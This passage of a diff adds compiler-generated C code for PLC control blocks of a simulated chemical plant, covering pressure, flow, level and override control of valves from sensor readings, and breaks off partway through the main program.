(BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + 